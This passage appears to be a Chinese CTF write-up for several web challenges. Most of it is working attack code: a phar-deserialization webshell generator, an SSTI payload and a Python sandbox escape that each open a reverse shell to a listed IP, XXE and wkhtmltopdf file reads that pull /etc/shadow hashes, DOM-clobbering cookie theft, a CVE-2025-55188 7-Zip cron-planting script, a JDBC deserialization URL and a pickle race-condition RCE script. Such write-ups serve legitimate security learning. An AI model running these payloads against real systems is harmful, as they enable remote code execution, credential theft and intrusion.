. '/' . $newname ; if (!move_uploaded_file ($tmp , $dest )) { http_response_code (500 ); die ("Move failed." ); } echo "UPLOAD_OK:" . htmlspecialchars ($newname , ENT_QUOTES); exit ; } ?>
从源码中可知账号密码,所以我们直接登录即可 ,然后看这个黑名单检测,允许.gz后缀的文件,那很容易想到就是gzip压缩然后打一个phar反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $phar_file = 'exploit.phar' ;$phar = new Phar ($phar_file );$phar ->startBuffering ();$stub = <<< 'STUB' <?php system('echo "<?=eval(\$_POST[1]);" > 1.php'); __HALT_COMPILER(); ?> STUB ;$phar ->setStub ($stub );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();echo "PHAR '{$phar_file} ' created.\n" ;$gz_file = 'exploit.phar.gz' ;$phar_content = file_get_contents ($phar_file );$gz_content = gzencode ($phar_content , 9 );echo "PHAR content compressed to Gzip.\n" ;file_put_contents ($gz_file , $gz_content );?>
然后上传后进行include操作:
然后直接传命令即可:
Week3 路在脚下&revenge
[!TIP]
有人说事到如今已经无路可走,岂不闻天无绝人之路,只要我想走,“路”,就在脚下!
都没有回显,所以打反弹shell
1 {{((sbwaf|attr('__eq__'))['__g''lobals__']['s''ys']['modules']['o''s']['po''pen']('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMjQuMjIyLjg0LjIxMi8yMjIyIDA%2bJjE%3d}|{base64,-d}|{bash,-i}\''))['read']()}}
Image Viewer
[!TIP]
安全的在线图片预览网站
首先render一个图片看看,可以看到render和图片以base64形式编码:
所以我们可以想到传入一个恶意的svg让网站渲染,从而获得FLAG:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///flag" > ]> <svg height ="100" width ="1000" > <text x ="10" y ="20" > &file; </text > </svg >
PDF Viewer
[!TIP]
安全的在线PDF阅读器
可以简单将默认html中的链接替换成自己的VPS
然后就是可以看到有一个叫wkhtmltopdf的东西
简单搜索我们可以看到以下文章:CTFtime.org / UTCTF 2025 2022 / HTML2PDF / Writeup
然后可以知道
1 2 3 4 5 6 7 8 <script> x=new XMLHttpRequest ; x.onload =function ( ){ document .write (this .responseText ) } x.open ('GET' ,'file:///etc/passwd' ); x.send (); </script>
可以读取任意文件,并且扫目录可知当前页面需要登录:
所以我们更改payload如下:
1 2 3 4 5 6 7 8 <script> x=new XMLHttpRequest ; x.onload =function ( ){ document .write (this .responseText ) } x.open ('GET' ,'file:///etc/shadow' ); x.send (); </script>
可以得到一大串:
1 2 3 4 5 6 7 8 9 10 11 root:*:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7::: sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7::: mail:*:19507:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: www data:*:19507:0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7::: gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemd network:*:20398:0:99999:7::: systemd-resolve:*:20398:0:99999:7::: messagebus:*:20398:0:99999:7::: avahi:*:20398:0:99999:7::: geoclue:*:20398:0:99999:7::: dave:$1$SEKIaQZe$mpWroqFAsiIhRC/i3loON.:20398:0:99999:7::: john:$1$2On/QORN$6hyMHbZB4zohuV6qvlAt0/:20398:0:99999:7::: emma:$1$Jsu14ZWx$pIl5A9rEr8px17kpSDQXU0:20398:0:99999:7::: WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::
openwall/john: John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs ,然后可以用这个工具去爆密码
爆出来结果就是qwerty,然后用户名就是WeakPassword_Admin
登录就可以获得FLAG
西纳普斯的许愿碑
[!TIP]
我没要求你给予人类和人造天使幸福。我并不贪心。 可是,删除世界是什么意思?你的道德观念怎么了?你才21000岁吧? 再这样下去,你42000岁删除世界四次,84000岁删除世界八次,最后就变成八歧大蛇了。 作为守形英四郎,我可能得打败你。真的。
草,这个题目有点熟悉,看这个CODE,就知道是miniLCTF里的异常栈帧逃逸,因为0xGame里的栈帧逃逸我的灵感就是来自miniL
附件里的app.py可以不用怎么看,重要的是看waf部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import multiprocessingimport sysimport ioimport astclass Wish_stone (ast.NodeVisitor): forbidden_wishes = { "__class__" , "__dict__" , "__bases__" , "__mro__" , "__subclasses__" , "__globals__" , "__code__" , "__closure__" , "__func__" , "__self__" , "__module__" , "__import__" , "__builtins__" , "__base__" } def visit_Attribute (self, node ): if isinstance (node.attr, str ) and node.attr in self .forbidden_wishes: raise ValueError self .generic_visit(node) def visit_GeneratorExp (self, node ): raise ValueError SAFE_WISHES = { "print" : print , "filter" : filter , "list" : list , "len" : len , "addaudithook" : sys.addaudithook, "Exception" : Exception, } def wish_granter (code, result_queue ): safe_globals = {"__builtins__" : SAFE_WISHES} sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() if error: result_queue.put(("err" , error)) else : result_queue.put(("ok" , output)) except Exception: import traceback result_queue.put(("err" , traceback.format_exc())) def safe_grant (wish: str , timeout=3 ): wish = wish.encode().decode('unicode_escape' ) try : parse_wish = ast.parse(wish) Wish_stone().visit(parse_wish) except Exception as e: return f"Error: bad wish ({e.__class__.__name__} )" result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue)) p.start() p.join(timeout=timeout) if p.is_alive(): p.terminate() return "You wish is too long." try : status, output = result_queue.get_nowait() print (output) return output if status == "ok" else f"Error grant: {output} " except : return "Your wish for nothing." CODE = ''' def wish_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(wish_checker) print("{}") ''' badchars = "\"'|&`+-*/()[]{}_ ." .replace(" " , "" ) def evaluate_wish_text (text: str ) -> str : for ch in badchars: if ch in text: print (f"ch={ch} " ) return f"Error:waf {ch} " out = safe_grant(CODE.format (text)) return out
感觉miniL的exp都可以直接拿来用:
miniLCTF_2025/OfficialWriteups/Web/GuessOneGuess-PyBox.md at main · XDSEC/miniLCTF_2025
额好像也得改一下,然后直接反弹shell
1 2 3 4 5 6 7 8 9 10 11 ") list=lambda x:True len=lambda x:False try: raise Exception except Exception as e: globals = e.__traceback__.tb_frame.f_back.f_globals os = globals[" sys"].modules[" os"] os.popen(" bash -c 'bash -i >& /dev/tcp/124.222.84.212/2222 0>&1' ") print("
不过这里与miniL不同的是,你上传了wishes之后,需要访问api才可以触发:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/api/wishes' , methods=['GET' , 'POST' ] ) def wishes_endpoint (): from wish_stone import evaluate_wish_text if request.method == 'GET' : with wishes_lock: evaluated = [evaluate_wish_text(w) for w in wishes] return jsonify({'wishes' : evaluated}) data = request.get_json(silent=True ) or {} text = data.get('wish' , '' ) if isinstance (text, str ) and text.strip(): with wishes_lock: wishes.append(text.strip()) return jsonify({'ok' : True }), 201 return jsonify({'ok' : False , 'error' : 'empty wish' }), 400
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsTARGET_URL = "http://8080-2d4a1a78-042c-4ec1-b2b6-43c2e5d5f55c.challenge.ctfplus.cn" def unicoded (text ): badchars = "\"'|&`+-*/()[]{}_ ." return '' .join(f"\\x{ord (c):02x} " if c in badchars else c for c in text) payload = '''") list=lambda x:True len=lambda x:False try: raise Exception except Exception as e: globals = e.__traceback__.tb_frame.f_back.f_globals os = globals["sys"].modules["os"] os.popen("bash -c 'bash -i >& /dev/tcp/124.222.84.212/2222 0>&1'") print("''' requests.post(f"{TARGET_URL} /api/wishes" , json={"wish" : unicoded(payload)}) wishes = requests.get(f"{TARGET_URL} /api/wishes" )
Xross The Doom
[!TIP]
用了 DOMPurify 应该就万事大吉了吧
首先可以看FLAG在哪:
1 2 3 4 5 6 7 8 await page.setCookie ({ name : 'FLAG' , value : FLAG , url : url.origin + '/admin' , path : '/admin' , httpOnly : false , sameSite : 'Lax' });
可以看到这里bot访问的时候,将FLAG直接带在cookie里,所以我们的目的应该是获取bot的cookie
然后我们可以看到server.js里有一个/log路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 app.get ('/log' , (req, res ) => { const c = req.query .c || '' ; const ua = req.headers ['user-agent' ] || '' ; logs.push ({ time : new Date ().toISOString (), cookie : c, ua }); res.json ({ ok : true }); }); app.get ('/logs' , (req, res ) => { res.json ({ logs }); });
这里直接带了个cookie,所以我们只需要让bot把自己的cookie放进log里,这样我们就可以直接读取了
那么,我们该如何让bot将cookie发送到/log呢?
我们可以关注到admin.js里的fetch:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function asBool (v ) { return v === true || (v && typeof v === 'object' && 'value' in v ? v.value === 'true' : !!v); } function asPath (v ) { if (typeof v === 'string' ) return v; if (v && typeof v.getAttribute === 'function' && v.getAttribute ('action' )) { return v.getAttribute ('action' ); } if (v && v.action ) return v.action ; return '' ; } const auto = asBool (window .AUTO_SHARE ); const path = asPath (window .CONFIG_PATH ); const includeCookie = asBool (window .CONFIG_COOKIE_DEBUG );
这里的判断很松,对于路径的要求只需要带action就行,那我们就设置成为 ../logs,然后对于AUTO_SHARE,CONFIG_COOKIE_DEBUG的判断也只是要求是true就可以了,所以可以构造以下payload:
1 2 3 <form id ="CONFIG_PATH" action ="../log" > </form > <input id ="AUTO_SHARE" value ="true" > <input id ="CONFIG_COOKIE_DEBUG" value ="true" >
当const auto = asBool(window.AUTO_SHARE);为True时,将会进行路径拼接操作,然后带上自己的cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function buildTarget (base, sub ) { const parts = (base + '/' + (sub || '' )).split ('/' ); const stack = []; for (const seg of parts) { if (seg === '..' ) { if (stack.length ) stack.pop (); } else if (seg && seg !== '.' ) { stack.push (seg); } } return '/' + stack.join ('/' ); } if (auto) { const target = buildTarget ('/analytics' , path); const qs = new URLSearchParams ({ id, ua : navigator.userAgent }); if (includeCookie) { qs.set ('c' , document .cookie ); } fetch (target + '?' + qs.toString ()).catch (() => {}); }
DOM Clobbering :页面里把 window.AUTO_SHARE / window.CONFIG_PATH / window.CONFIG_COOKIE_DEBUG 当配置变量用,但浏览器会把带 id 的元素同时挂到 window 上(如 window.CONFIG_PATH = document.getElementById('CONFIG_PATH') 的效果)
我们可以用带特定 id 的元素来 设置 这些变量
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const http = require ('http' );const https = require ('https' );const BASE = 'http://3000-5c904a16-0d1b-48b1-a640-6714d17c0cf4.challenge.ctfplus.cn/' ;function httpRequest (method, path, body, headers = {} ) { const u = new URL (BASE + path); const client = u.protocol === 'https:' ? https : http; const opts = { method, hostname : u.hostname , port : u.port || (u.protocol === 'https:' ? 443 : 80 ), path : u.pathname + u.search , headers }; return new Promise ((resolve, reject ) => { const req = client.request (opts, res => { let data = '' ; res.on ('data' , c => (data += c)); res.on ('end' , () => resolve ({ statusCode : res.statusCode , headers : res.headers , body : data })); }); req.on ('error' , reject); if (body) req.write (body); req.end (); }); } async function json (method, path, obj ) { const body = obj ? JSON .stringify (obj) : undefined ; const headers = { 'Content-Type' : 'application/json' }; const r = await httpRequest (method, path, body, headers); return JSON .parse (r.body ); } function sleep (ms ) { return new Promise (r => setTimeout (r, ms)); } (async () => { const title = 'PureStream' + Date .now (); const content = '<form id="CONFIG_PATH" action="../log"></form><input id="AUTO_SHARE" value="true"><input id="CONFIG_COOKIE_DEBUG" value="true">' ; const create = await json ('POST' , '/api/posts' , { title, content }); if (!create.ok || !create.id ) { console .error ('Create failed' ); process.exit (1 ); } const id = create.id ; await json ('GET' , `/bot?id=${encodeURIComponent (id)} ` ); for (let i = 0 ; i < 60 ; i++) { const data = await json ('GET' , '/logs' ); const logs = data.logs || []; for (let j = logs.length - 1 ; j >= 0 ; j--) { const c = logs[j].cookie || '' ; const m = c.match (/FLAG=([^;]+)/ ); if (m) { console .log (m[1 ]); process.exit (0 ); } } await sleep (1000 ); } console .error ('FLAG not found' ); process.exit (2 ); })();
Week4 77777_time_task
[!TIP]
time_task就是time_task啦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route("/upload" , methods=["POST" ] ) def upload (): if 'file' not in request.files: return jsonify({"status" : "error" , "message" : "No file part" }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({"status" : "error" , "message" : "No selected file" }), 400 sanitizeFilename=file.filename.replace(".." , "" ).replace("/" ,"" ) ext=sanitizeFilename.split("." )[-1 ] if ext != "7z" : return jsonify({"status" : "error" , "message" : "Only .7z files are allowed" }), 400 filepath = os.path.join(UPLOAD_DIR, file.filename) file.save(filepath) ret=subprocess.run(["/tmp/7zz" , "x" , filepath],shell=False ,stdout=subprocess.PIPE,stderr=subprocess.PIPE) if ret.returncode != 0 : return jsonify({"status" : "error" , "message" : "Failed to extract .7z file" , "detail" : ret.stderr.decode()}), 500 return jsonify({"status" : "success" , "filename" : file.filename})
源码这里发现允许上传.7z的压缩文件然后进行解压操作,然后再看Dockerfile:
1 2 3 RUN cd /tmp && \ wget https://www.7-zip.org/a/7z2500-linux-x64.tar.xz \ && tar -xvf 7z2500-linux-x64.tar.xz
看到是7-zip2500,很容易就能搜到对应的漏洞:
CVE-2025-55188:7-Zip 解压时存在任意文件写入漏洞,可能导致代码执行 | CN-SEC 中文网
lunbun/CVE-2025-55188: Proof-of-concept of CVE-2025-55188: 7-Zip arbitrary code execution
hunters-sec/CVE-2025-55188-7z-exploit: 7z exploit POC versions prior to 25.01
也就是我们现在需要一个sh文件,然后运行生成一个.7z文件,上传之后再去访问/listfiles
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 sudo -icd /tmpwget https://www.7-zip.org/a/7z2500-linux-x64.tar.xz tar -xvf 7z2500-linux-x64.tar.xz ln -s /usr/bin/7z /tmp/7zzcat > bash.sh << 'EOF' BINARYPATH="/tmp/7zz" olddir="$(pwd) " mkdir /tmp/temptempdir="/tmp/temp" cd "$tempdir " mkdir -p a/bln -s /a a/b/link$BINARYPATH a write.7z a/b/link -snlln -s a/b/link/../../../etc/ link $BINARYPATH a write.7z link -snlrm link mkdir link echo "* * * * * root mkdir /app/uploads/\`cat /flag\`" > link /crontab$BINARYPATH a write.7z link /crontabcp write.7z "$olddir " cd "$olddir " rm -r "$tempdir " EOF chmod +x bash.sh./bash.sh
当然,你想生成正确的.7z文件必须使用漏洞版本的7z
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsurl = "http://3000-56043b1f-63bd-4f70-87ed-9d2f0532fc28.challenge.ctfplus.cn/upload" url1 = "http://3000-56043b1f-63bd-4f70-87ed-9d2f0532fc28.challenge.ctfplus.cn/listfiles" file = "write.7z" def upload_file (): try : with open (file, 'rb' ) as f: files = {'file' : ('write.7z' , f, 'application/x-7z-compressed' )} response = requests.post(url, files=files, timeout=10 ) print (response.text) print (response.status_code) except Exception as e: print (e) def check_flag (): res = requests.get(url=url1) print (res.text) if __name__ == "__main__" : upload_file()
ezjdbc
[!TIP]
just soso. 题目拉取容器需要等待一两分钟,开启环境时请耐心等待
咕咕咕咕咕咕,这两天学了反射就给做了(其实我连题目都没看)
其实并非需要反射,只需要看得懂英文就可以了,这道题目只需要看一个.class文件就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @RestController public class jdbcController { static String CLASS_NAME = "com.mysql.cj.jdbc.Driver" ; public jdbcController () { } @GetMapping({"/"}) public String index () { return "Hello Jdbc" ; } @GetMapping({"/connect"}) public String connect (@RequestParam("url") String url, @RequestParam("name") String name, @RequestParam("pass") String pass) throws SQLException { DriverManager.getConnection(url, name, pass); return url; } }
这里可以知道用了MySQL,再结合题目,很容易就想到是JDBC反序列化+FakeMySQL:
https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html
vulhub/java-chains: Java Vulnerability Exploitation Platform
快速上手 | Java Chains
1 http://url/connect?url=jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&name=admin&pass=1111
AISCREAM
[!TIP]
坚不可摧的审计函数?然而并没有什么用。
我们先看看这个上传模型具体是要干嘛:
1 2 3 4 5 with open (path, "rb" ) as fp: data = fp.read() try : model = pickle.loads(data)
这里看到我们上传的pkl文件他直接loads,理论上我们扔个恶意的pkl进去就可以直接被执行
但是看看这个waf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import ioimport pickletoolsclass AuditResult : def __init__ (self, ok: bool , reasons: list [str ], summary: str ): self .ok = ok self .reasons = reasons self .summary = summary def audit (data: bytes ) -> AuditResult: reasons: list [str ] = [] dangerous_ops = { "GLOBAL" , "STACK_GLOBAL" , "REDUCE" , "INST" , "OBJ" , "NEWOBJ" , "NEWOBJ_EX" , "BUILD" , "EXT1" , "EXT2" , "EXT4" , "PERSID" , "BINPERSID" , "SETSTATE" , } safe_opcodes = { "PROTO" , "FRAME" , "STOP" , "MARK" , "POP" , "POP_MARK" , "DUP" , "PUT" , "BINPUT" , "LONG_BINPUT" , "GET" , "BINGET" , "LONG_BINGET" , "MEMOIZE" , "NONE" , "NEWTRUE" , "NEWFALSE" , "BININT" , "BININT1" , "BININT2" , "INT" , "LONG" , "LONG1" , "LONG4" , "BINFLOAT" , "FLOAT" , "BINUNICODE" , "SHORT_BINUNICODE" , "UNICODE" , "BINUNICODE8" , "BINBYTES" , "SHORT_BINBYTES" , "BINBYTES8" , "BYTEARRAY8" , "BINSTRING" , "SHORT_BINSTRING" , "STRING" , "EMPTY_TUPLE" , "TUPLE" , "TUPLE1" , "TUPLE2" , "TUPLE3" , "EMPTY_LIST" , "LIST" , "APPEND" , "APPENDS" , "EMPTY_DICT" , "DICT" , "SETITEM" , "SETITEMS" , "EMPTY_SET" , "FROZENSET" , "ADDITEMS" , "NEXT_BUFFER" , "READONLY_BUFFER" , "EMPTY_FROZENSET" , } try : for opcode, arg, pos in pickletools.genops(data): name = opcode.name if name in dangerous_ops: reasons.append(f"Dangerous opcode: {name} " ) continue if name not in safe_opcodes: reasons.append(f"Disallowed opcode: {name} " ) except Exception as e: return AuditResult(False , [f"disassembly error: {e} " ], "Failed to parse pickle" ) ok = len (reasons) == 0 summary = "Audit passed" if ok else "Audit failed" return AuditResult(ok, reasons, summary)
看起来好像没有什么可以绕过的点
但是/upload这边有个漏洞:
1 2 3 4 5 6 7 8 9 with open (path, "wb" ) as fp: fp.write(data) audit_result = audit(data) meta = { "len" : len (data), "source" : src, "audit" : audit_result.summary, }
可以看到这里先写了pkl文件,再进行waf操作,如果前一个pkl是好的,那么在这里加载恶意pkl的时候,他的状态码也是好的
同时,entrypoint.sh 中启动程序时开启了三个 Worker 进程:gunicorn -w 3,OS 会调度不同的进程同时处理请求。Worker 1 正在写文件时,Worker 2 可以同时从数据库读取状态并读取文件,为竞争提供了物理基础
本来想用requests,发现requests不是很好实行并发操作,还是学习了一下官方的wp,用了一下异步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import pickleimport asyncioimport httpxurl = "http://8000-05b07697-a28e-4ec5-8d05-38e5b5f3b4ef.challenge.ctfplus.cn" def generate_pickle (): class pic : def __reduce__ (self ): cmd = "__import__('os').popen('env > static/flag.txt')" return (eval , (cmd,)) return pickle.dumps(pic(), protocol=5 ) async def solve (): safe_data = pickle.dumps({"ok" :True }, protocol=5 ) evil_data = generate_pickle() safe_file = {"model_file" : ("safe.pkl" , safe_data, "application/octet-stream" )} evil_file = {"model_file" : ("evil.pkl" , evil_data, "application/octet-stream" )} async with httpx.AsyncClient(base_url=url) as client: await client.get("/" ) for i in range (1 , 300 ): try : await client.post("/model/upload" , files=safe_file) res1 = client.get("/model/predict" , params={"text" :"Hello World" }) res2 = client.post("/model/upload" , files=evil_file) await asyncio.gather(res1, res2) except Exception as e: pass if i % 10 == 0 : try : res3 = await client.get("/static/flag.txt" ) if res3.status_code == 200 : print (res3.text) except Exception: pass asyncio.run(solve())